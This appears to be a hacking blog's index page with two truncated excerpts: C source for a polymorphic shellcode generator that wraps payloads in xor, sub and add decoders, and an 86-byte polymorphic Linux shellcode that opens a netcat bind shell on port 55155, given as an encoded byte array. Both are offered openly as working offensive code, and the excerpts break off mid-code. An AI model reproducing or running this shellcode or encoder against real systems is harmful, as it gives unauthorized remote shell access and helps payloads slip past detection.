A polymorphic shellcode maker
/* A polymorphic shellcode maker original progam created by Rizki Wicaksono(http://www.ilmuhacking.com) i add some functions to make it more interesting, i add "sub,add" functions beside the original xor into decoder otoy(http://otoyrood.wordpress.com) 0x82010 */ #include #include #include #include #include int getnumber(int quo) { int seed; struct timeval tm; gettimeofday( &tm, NULL ); seed = tm.tv_sec + tm.tv_usec; srandom( seed ); return (random() % quo); } void print_code(char *data) { int i,l=0; for (i = 0; i < strlen(data); ++i) { if (l==0) { printf("""); } if (l >= 15)...
read more86 Bytes – Polymorphic “netcat bindport 55155″ Shellcode
/* Name : 86 bytes "polymorphic - netcat bindport 55155" Info : this shellcode create a bindport 55155 with netcat Author : otoy Blog : http://otoyrood.wordpress.com Date : August 2010 Tested on: ubuntu 8.04 & Backtrack 4 */ #include char shellcode[] = "xebx13x5ex31xc9xb1x3cx80x2ex45x80x36x45x80x06" "x45x46xe2xf4xebx05xe8xe8xffxffxffxeex83x46x7d" "x93xabxb1xf4xb1xa0xabxf4xf4x9dxa6x46x20x93xab" "xfaxeexfaxfaxabxf2xa7xb3xfax46x1ex93xabxf4xf4" "xb0xabxabxf4x9dxa6xb1xabxf2xa0xf4xf4x46x1dx93" "x73xc8x8dx8ex90x46x1exeex0dx12xc3"; int main(void) { fprintf(stdout,"[*]...
read more